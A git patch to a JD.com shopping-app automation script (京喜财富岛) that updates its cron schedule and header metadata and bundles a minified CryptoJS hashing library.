From aacb76d58297608fceb4b18df5c9acee9ec86c5e Mon Sep 17 00:00:00 2001 From: Faker Date: Wed, 13 Jul 2022 10:47:12 +0800 Subject: [PATCH] sync --- jd_cfd.js | 3517 +++++++++++++++++++++++-------------------- jd_cfd_loop.js | 444 ------ jd_sign_graphics.js | 2 +- jd_try.js | 10 +- jx_one2shopping.js | 10 + 5 files changed, 1919 insertions(+), 2064 deletions(-) delete mode 100644 jd_cfd_loop.js create mode 100644 jx_one2shopping.js diff --git a/jd_cfd.js b/jd_cfd.js index f3d692fb8..3bc650c1c 100644 --- a/jd_cfd.js +++ b/jd_cfd.js @@ -1,1827 +1,2116 @@ /* 京喜财富岛 -cron 1 * * * * jd_cfd.js -更新时间:2021-9-11 +cron 45 0-23/2 * * * jd_cfd.js +更新时间:2022-7-12 活动入口:京喜APP-我的-京喜财富岛 - 已支持IOS双京东账号,Node.js支持N个京东账号 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js ============Quantumultx=============== [task_local] #京喜财富岛 -1 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true - +45 0-23/2 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, tag=京喜财富岛, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true ================Loon============== [Script] -cron "1 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 - +cron "45 0-23/2 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js,tag=京喜财富岛 ===============Surge================= -京喜财富岛 = type=cron,cronexp="1 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js - +京喜财富岛 = type=cron,cronexp="45 0-23/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js ============小火箭========= -京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="1 * * * *", timeout=3600, enable=true +京喜财富岛 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd.js, cronexpr="45 0-23/2 * * *", timeout=3600, enable=true */ !function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), 